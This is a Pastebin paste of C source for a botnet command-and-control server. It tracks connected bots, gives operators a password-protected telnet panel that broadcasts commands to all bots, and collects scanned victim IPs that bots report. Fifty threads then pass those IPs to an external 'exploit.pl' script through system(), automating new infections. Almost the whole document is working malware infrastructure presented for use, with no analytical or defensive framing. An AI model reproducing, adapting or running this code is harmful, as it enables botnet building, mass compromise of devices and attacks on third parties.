Guest User

Untitled

a guest
May 30th, 2019
321
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 23.02 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <netdb.h>
  7. #include <unistd.h>
  8. #include <time.h>
  9. #include <fcntl.h>
  10. #include <sys/epoll.h>
  11. #include <errno.h>
  12. #include <pthread.h>
  13. #include <signal.h>
  14. #include <sys/queue.h>
  15. #include <poll.h>
  16.  
  17. #define MY_MGM_PASS "1ffqfwq"
  18. #define MY_MGM_PORT 666
  19.  
  20. #define MAXFDS 100000
  21.  
  22. STAILQ_HEAD(QueueHead,QueueEntry);
  23.  
  24. struct Queue {
  25.         pthread_mutex_t mutex;
  26.         pthread_cond_t cv;
  27.         pthread_cond_t enq_wait_cv;
  28.         int enq_waiters;
  29.         int length;
  30.         int limit;
  31.         int pool_length;
  32.         int pool_limit;
  33.         struct QueueHead queue;
  34.         struct QueueHead pool;
  35. };
  36.  
  37. struct QueueEntry {
  38.         void *item;
  39.         STAILQ_ENTRY(QueueEntry) entries;
  40. };
  41.  
  42. struct Queue* queue_init();
  43. int queue_destroy(struct Queue *q);
  44. int queue_empty(struct Queue *q);
  45. int queue_full(struct Queue *q);
  46. int queue_enq(struct Queue *q, void *item);
  47. int queue_length(struct Queue *q);
  48. int queue_pool_length(struct Queue *q);
  49. void queue_limit(struct Queue *q, int limit);
  50. void queue_pool_limit(struct Queue *q, int limit);
  51. void *queue_deq(struct Queue *q);
  52.  
  53. # define AZ(foo)  do { if ((foo) != 0) abort(); } while (0)
  54.  
  55. struct Queue *queue_init()
  56. {
  57.         struct Queue *q;
  58.         q = (struct Queue *)malloc(sizeof(struct Queue));
  59.  
  60.         if (q)
  61.         {
  62.                 q->length = 0;
  63.                 q->limit = -1;
  64.                 q->pool_length = 0;
  65.                 q->pool_limit = -1;
  66.                 q->enq_waiters = 0;
  67.                 AZ(pthread_mutex_init(&q->mutex, NULL));
  68.                 AZ(pthread_cond_init(&q->cv, NULL));
  69.                 AZ(pthread_cond_init(&q->enq_wait_cv, NULL));
  70.                 STAILQ_INIT(&q->queue);
  71.                 STAILQ_INIT(&q->pool);
  72.         }
  73.         return(q);
  74. }
  75.  
  76. int queue_destroy(struct Queue *q)
  77. {
  78.         struct QueueEntry *qi;
  79.  
  80.         while (!STAILQ_EMPTY(&q->pool))
  81.         {
  82.                 qi = STAILQ_FIRST(&q->pool);
  83.                 STAILQ_REMOVE_HEAD(&q->pool, entries);
  84.                 q->pool_length--;
  85.                 free(qi);
  86.         }
  87.         AZ(pthread_cond_destroy(&q->cv));
  88.         AZ(pthread_mutex_destroy(&q->mutex));
  89.         free(q);
  90.         return 1;
  91. }
  92.  
  93. int queue_empty(struct Queue *q)
  94. {
  95.         return(STAILQ_EMPTY(&q->queue));
  96. }
  97.  
  98. int queue_full(struct Queue *q)
  99. {
  100.         return (q->limit > 0 && q->length >= q->limit);
  101. }
  102.  
  103. int queue_enq(struct Queue *q, void *item)
  104. {
  105.         struct QueueEntry *qi;
  106.  
  107.         AZ(pthread_mutex_lock(&q->mutex));
  108.         if (queue_full(q))
  109.         {
  110.                 q->enq_waiters++;
  111.                 while (queue_full(q))
  112.                         AZ(pthread_cond_wait(&q->enq_wait_cv, &q->mutex));
  113.                 q->enq_waiters--;
  114.         }
  115.  
  116.         if (!STAILQ_EMPTY(&q->pool))
  117.         {
  118.                 qi = STAILQ_FIRST(&q->pool);
  119.                 STAILQ_REMOVE_HEAD(&q->pool, entries);
  120.                 q->pool_length--;
  121.         }
  122.         else
  123.         {
  124.                 if (!(qi = (struct QueueEntry *)malloc(sizeof(struct QueueEntry))))
  125.                         abort(); // could return 0/-1, but meh.
  126.         }
  127.  
  128.         qi->item = item;
  129.  
  130.         STAILQ_INSERT_TAIL(&q->queue, qi, entries);
  131.         q->length++;
  132.         AZ(pthread_cond_signal(&q->cv));
  133.         AZ(pthread_mutex_unlock(&q->mutex));
  134.         return 1;
  135. }
  136.  
  137. void *queue_deq(struct Queue *q)
  138. {
  139.         void *ret = NULL;
  140.         struct QueueEntry *qi;
  141.  
  142.         AZ(pthread_mutex_lock(&q->mutex));
  143.         while (STAILQ_EMPTY(&q->queue))
  144.                 AZ(pthread_cond_wait(&q->cv, &q->mutex));
  145.  
  146.         qi = STAILQ_FIRST(&q->queue);
  147.         STAILQ_REMOVE_HEAD(&q->queue, entries);
  148.         q->length--;
  149.         ret = qi->item;
  150.         if (q->pool_limit < 0 || q->pool_length < q->pool_limit)
  151.         {
  152.                 STAILQ_INSERT_TAIL(&q->pool, qi, entries);
  153.                 q->pool_length++;
  154.         }
  155.         else free(qi);
  156.  
  157.         if (q->enq_waiters > 0)
  158.                 AZ(pthread_cond_signal(&q->enq_wait_cv));
  159.         AZ(pthread_mutex_unlock(&q->mutex));
  160.         return ret;
  161. }
  162.  
  163. int queue_length(struct Queue *q)
  164. {
  165.         return(q->length);
  166. }
  167.  
  168. int queue_pool_length(struct Queue *q)
  169. {
  170.         return(q->pool_length);
  171. }
  172.  
  173. void queue_limit(struct Queue *q, int limit)
  174. {
  175.         q->limit = limit;
  176. }
  177.  
  178. void queue_pool_limit(struct Queue *q, int limit)
  179. {
  180.         q->pool_limit = limit;
  181. }
  182.  
  183. void *p_exploit_le_garrison();
  184.  
  185. struct clientdata_t {
  186.         uint32_t ip;
  187.         char build[7];
  188.         char connected;
  189. } clients[MAXFDS];
  190. struct telnetdata_t {
  191.         int connected;
  192. } managements[MAXFDS];
  193. static volatile FILE *fileFD;
  194. static volatile int epollFD = 0;
  195. static volatile int listenFD = 0;
  196. static volatile int managesConnected = 0;
  197. struct Queue *theQueue;
  198. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  199. {
  200.         int total = 0, got = 1;
  201.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  202.         return got;
  203. }
  204. void trim(char *str)
  205. {
  206.     int i;
  207.     int begin = 0;
  208.     int end = strlen(str) - 1;
  209.     while (isspace(str[begin])) begin++;
  210.     while ((end >= begin) && isspace(str[end])) end--;
  211.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  212.     str[i - begin] = '\0';
  213. }
  214. static int make_socket_non_blocking (int sfd)
  215. {
  216.         int flags, s;
  217.         flags = fcntl (sfd, F_GETFL, 0);
  218.         if (flags == -1)
  219.         {
  220.                 perror ("fcntl");
  221.                 return -1;
  222.         }
  223.         flags |= O_NONBLOCK;
  224.         s = fcntl (sfd, F_SETFL, flags);
  225.         if (s == -1)
  226.         {
  227.                 perror ("fcntl");
  228.                 return -1;
  229.         }
  230.         return 0;
  231. }
  232. static int create_and_bind (char *port)
  233. {
  234.         struct addrinfo hints;
  235.         struct addrinfo *result, *rp;
  236.         int s, sfd;
  237.         memset (&hints, 0, sizeof (struct addrinfo));
  238.         hints.ai_family = AF_UNSPEC;     /* Return IPv4 and IPv6 choices */
  239.         hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  240.         hints.ai_flags = AI_PASSIVE;     /* All interfaces */
  241.         s = getaddrinfo (NULL, port, &hints, &result);
  242.         if (s != 0)
  243.         {
  244.                 fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  245.                 return -1;
  246.         }
  247.         for (rp = result; rp != NULL; rp = rp->ai_next)
  248.         {
  249.                 sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  250.                 if (sfd == -1) continue;
  251.                 int yes = 1;
  252.                 if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  253.                 s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  254.                 if (s == 0)
  255.                 {
  256.                         break;
  257.                 }
  258.                 close (sfd);
  259.         }
  260.         if (rp == NULL)
  261.         {
  262.                 fprintf (stderr, "Could not bind\n");
  263.                 return -1;
  264.         }
  265.         freeaddrinfo (result);
  266.         return sfd;
  267. }
  268. void broadcast(char *msg, int us)
  269. {
  270.         int sendMGM = 1;
  271.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  272.         char *wot = malloc(strlen(msg) + 10);
  273.         memset(wot, 0, strlen(msg) + 10);
  274.         strcpy(wot, msg);
  275.         trim(wot);
  276.         time_t rawtime;
  277.         struct tm * timeinfo;
  278.         time(&rawtime);
  279.         timeinfo = localtime(&rawtime);
  280.         char *timestamp = asctime(timeinfo);
  281.         trim(timestamp);
  282.         int i;
  283.         for(i = 0; i < MAXFDS; i++)
  284.         {
  285.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  286.                 if(sendMGM && managements[i].connected)
  287.                 {
  288.                         send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  289.                         send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
  290.                         send(i, ": ", 2, MSG_NOSIGNAL);
  291.                 }
  292.                 printf("sent to fd: %d\n", i);
  293.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  294.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL);
  295.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  296.         }
  297.         free(wot);
  298. }
  299.  
  300. void *epollEventLoop(void *useless)
  301. {
  302.         struct epoll_event event;
  303.         struct epoll_event *events;
  304.                 int i = 0;
  305.                 int s;
  306.                 FILE *fsx = fopen("not_processed.txt", "a+");
  307.                 pthread_t sup;
  308.                 for(i = 0; i < 50; i++)
  309.                         pthread_create(&sup, NULL, &p_exploit_le_garrison, NULL);
  310.         events = calloc (MAXFDS, sizeof event);
  311.         while (1)
  312.         {
  313.                 int n, i;
  314.                 n = epoll_wait (epollFD, events, MAXFDS, -1);
  315.                 for (i = 0; i < n; i++)
  316.                 {
  317.                         if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  318.                         {
  319.                                 clients[events[i].data.fd].connected = 0;
  320.                                 close(events[i].data.fd);
  321.                                 continue;
  322.                         }
  323.                         else if (listenFD == events[i].data.fd)
  324.                         {
  325.                                 while (1)
  326.                                 {
  327.                                         struct sockaddr in_addr;
  328.                                         socklen_t in_len;
  329.                                         int infd, ipIndex;
  330.  
  331.                                         in_len = sizeof in_addr;
  332.                                         infd = accept (listenFD, &in_addr, &in_len);
  333.                                         if (infd == -1)
  334.                                         {
  335.                                                 if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  336.                                                 else
  337.                                                 {
  338.                                                         perror ("accept");
  339.                                                         break;
  340.                                                 }
  341.                                         }
  342.  
  343.                                         clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  344.  
  345.                                         int dup = 0;
  346.                                         for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  347.                                         {
  348.                                                 if(!clients[ipIndex].connected || ipIndex == infd) continue;
  349.  
  350.                                                 if(clients[ipIndex].ip == clients[infd].ip)
  351.                                                 {
  352.                                                         dup = 1;
  353.                                                         break;
  354.                                                 }
  355.                                         }
  356.  
  357.                                         if(dup)
  358.                                         {
  359.                                                 printf("dup client\n");
  360.                                                 if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  361.                                                 if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  362.                                                 close(infd);
  363.                                                 continue;
  364.                                         }
  365.  
  366.                                         s = make_socket_non_blocking (infd);
  367.                                         if (s == -1) { close(infd); break; }
  368.  
  369.                                         event.data.fd = infd;
  370.                                         event.events = EPOLLIN | EPOLLET;
  371.                                         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  372.                                         if (s == -1)
  373.                                         {
  374.                                                 perror ("epoll_ctl");
  375.                                                 close(infd);
  376.                                                 break;
  377.                                         }
  378.  
  379.                                         clients[infd].connected = 1;
  380.                                         //send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  381.                                 }
  382.                                 continue;
  383.                         }
  384.                         else
  385.                         {
  386.                                 int thefd = events[i].data.fd;
  387.                                 struct clientdata_t *client = &(clients[thefd]);
  388.                                 int done = 0;
  389.                                 client->connected = 1;
  390.                                 while (1)
  391.                                 {
  392.                                         ssize_t count;
  393.                                         char buf[2048];
  394.                                         memset(buf, 0, sizeof buf);
  395.  
  396.                                         while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  397.                                         {
  398.                                                 if(strstr(buf, "\n") == NULL) { done = 1; break; }
  399.                                                 trim(buf);
  400.                                                 if(strcmp(buf, "PING") == 0)
  401.                                                 {
  402.                                                         if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  403.                                                         continue;
  404.                                                 }
  405.                                                 if(strstr(buf, "BUILD ") == buf)
  406.                                                 {
  407.                                                         char *build = strstr(buf, "BUILD ") + 6;
  408.                                                         if(strlen(build) > 6) { printf("build bigger then 6\n"); done = 1; break; }
  409.                                                         memset(client->build, 0, 7);
  410.                                                         strcpy(client->build, build);
  411.                                                         continue;
  412.                                                 }
  413.                                                 if(strstr(buf, "REPORT ") == buf)
  414.                                                 {
  415.                                                         char *line = strstr(buf, "REPORT ") + 7;
  416.                                                         fprintf(fileFD, "%s\n", line);
  417.                                                         fflush(fileFD);
  418.                                                                                                            //TODO: automatically exploit that particular IP after scanning for dir and uploading correct arch stuffs.
  419.                                                                                                            if(queue_length(&theQueue) < 10000)
  420.                                                                                                            {
  421.                                                                                                            queue_enq(theQueue, (void *)strdup(line));
  422.                                                                                                            printf("Queued for pl.\n");
  423.                                                                                                            }
  424.                                                                                                            else
  425.                                                                                                            {
  426.                                                                                                            fprintf(fsx, "%s\n", line);
  427.                                                                                                            fflush(fsx);
  428.                                                                                                            }
  429.                                                         continue;
  430.                                                 }
  431.                                                 if(strcmp(buf, "PONG") == 0)
  432.                                                 {
  433.                                                         //should really add some checking or something but meh
  434.                                                         continue;
  435.                                                 }
  436.                                                 printf("buf: \"%s\"\n", buf);
  437.                                         }
  438.  
  439.                                         if (count == -1)
  440.                                         {
  441.                                                 if (errno != EAGAIN)
  442.                                                 {
  443.                                                         done = 1;
  444.                                                 }
  445.                                                 break;
  446.                                         }
  447.                                         else if (count == 0)
  448.                                         {
  449.                                                 done = 1;
  450.                                                 break;
  451.                                         }
  452.                                 }
  453.  
  454.                                 if (done)
  455.                                 {
  456.                                         client->connected = 0;
  457.                                         close(thefd);
  458.                                 }
  459.                         }
  460.                 }
  461.         }
  462. }
  463. void *p_exploit_le_garrison()
  464. {
  465.         void *item = NULL;
  466.         while((item = queue_deq(theQueue)))
  467.         {
  468.                 printf("Started le thread\n");
  469.                 char nargs[512];
  470.                 memset(nargs, 0, 512);
  471.                 strcat(nargs, "perl exploit.pl ");
  472.                 strcat(nargs, (char*)item);
  473.                 printf("%s\n", nargs);
  474.                 system(nargs);
  475.                 printf("Ending le thread\n");
  476.                 free(item);
  477.         }
  478. }
  479.  
  480. unsigned int clientsConnected()
  481. {
  482.         int i = 0, total = 0;
  483.         for(i = 0; i < MAXFDS; i++)
  484.         {
  485.                 if(!clients[i].connected) continue;
  486.                 total++;
  487.         }
  488.  
  489.         return total;
  490. }
  491.  
  492. void *titleWriter(void *sock)
  493. {
  494.         int thefd = (int)sock;
  495.         char string[2048];
  496.         while(1)
  497.         {
  498.                 memset(string, 0, 2048);
  499.                 sprintf(string, "%c]0;Bots connected: %d | Clients connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  500.                 if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  501.  
  502.                 sleep(2);
  503.         }
  504. }
  505.  
  506.  
  507. void *telnetWorker(void *sock)
  508. {
  509.         int thefd = (int)sock;
  510.         managesConnected++;
  511.         pthread_t title;
  512.         char buf[2048];
  513.         memset(buf, 0, sizeof buf);
  514.  
  515.         if(send(thefd, "password: ", 10, MSG_NOSIGNAL) == -1) goto end;
  516.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  517.         trim(buf);
  518.         if(strcmp(buf, MY_MGM_PASS) != 0) goto end;
  519.         memset(buf, 0, 2048);
  520.         if(send(thefd, "\033[1A", 4, MSG_NOSIGNAL) == -1) goto end;
  521.         pthread_create(&title, NULL, &titleWriter, sock);
  522.  
  523.         if(send(thefd, "\x1b[31m*****************************************\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  524.         if(send(thefd, "*        WELCOME TO THE BALL PIT [VYPOR]     *\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
  525.         if(send(thefd, "*     Now with \x1b[32mrefrigerator\x1b[31m support     *\r\n", 53, MSG_NOSIGNAL) == -1) goto end;
  526.         if(send(thefd, "*****************************************\r\n\r\n> \x1b[0m", 51, MSG_NOSIGNAL) == -1) goto end;
  527.         managements[thefd].connected = 1;
  528.  
  529.         while(fdgets(buf, sizeof buf, thefd) > 0)
  530.         {
  531.                 trim(buf);
  532.                 if(send(thefd, "\x1b[31m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  533.                 if(strlen(buf) == 0) continue;
  534.                 printf("management: \"%s\"\n", buf);
  535.                 broadcast(buf, thefd);
  536.                 memset(buf, 0, 2048);
  537.         }
  538.  
  539.         end:
  540.                 managements[thefd].connected = 0;
  541.                 close(thefd);
  542.                 managesConnected--;
  543. }
  544.  
  545. void *telnetListener(void *useless)
  546. {
  547.         int sockfd, newsockfd;
  548.         socklen_t clilen;
  549.         struct sockaddr_in serv_addr, cli_addr;
  550.         sockfd = socket(AF_INET, SOCK_STREAM, 0);
  551.         if (sockfd < 0) perror("ERROR opening socket");
  552.         bzero((char *) &serv_addr, sizeof(serv_addr));
  553.         serv_addr.sin_family = AF_INET;
  554.         serv_addr.sin_addr.s_addr = INADDR_ANY;
  555.         serv_addr.sin_port = htons(MY_MGM_PORT);
  556.         if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  557.         listen(sockfd,5);
  558.         clilen = sizeof(cli_addr);
  559.         while(1)
  560.         {
  561.                 newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  562.                 if (newsockfd < 0) perror("ERROR on accept");
  563.                 pthread_t thread;
  564.                 pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  565.         }
  566. }
  567.  
  568. int main (int argc, char *argv[])
  569. {
  570.         signal(SIGPIPE, SIG_IGN);
  571.                 theQueue = queue_init();
  572.         int s, threads;
  573.         struct epoll_event event;
  574.  
  575.         if (argc != 3)
  576.         {
  577.                 fprintf (stderr, "Usage: %s [port] [threads]\n", argv[0]);
  578.                 exit (EXIT_FAILURE);
  579.         }
  580.         fileFD = fopen("output.txt", "a+");
  581.         threads = atoi(argv[2]);
  582.  
  583.         listenFD = create_and_bind (argv[1]);
  584.         if (listenFD == -1) abort ();
  585.  
  586.         s = make_socket_non_blocking (listenFD);
  587.         if (s == -1) abort ();
  588.  
  589.         s = listen (listenFD, SOMAXCONN);
  590.         if (s == -1)
  591.         {
  592.                 perror ("listen");
  593.                 abort ();
  594.         }
  595.  
  596.         epollFD = epoll_create1 (0);
  597.         if (epollFD == -1)
  598.         {
  599.                 perror ("epoll_create");
  600.                 abort ();
  601.         }
  602.  
  603.         event.data.fd = listenFD;
  604.         event.events = EPOLLIN | EPOLLET;
  605.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  606.         if (s == -1)
  607.         {
  608.                 perror ("epoll_ctl");
  609.                 abort ();
  610.         }
  611.  
  612.         pthread_t thread[threads + 2];
  613.         while(threads--)
  614.         {
  615.                 pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL);
  616.         }
  617.  
  618.         pthread_create(&thread[0], NULL, &telnetListener, (void *)NULL);
  619.  
  620.         while(1)
  621.         {
  622.                 broadcast("PING", -1);
  623.  
  624.                 sleep(60);
  625.         }
  626.  
  627.         close (listenFD);
  628.  
  629.         return EXIT_SUCCESS;
  630. }
Add Comment
Please, Sign In to add comment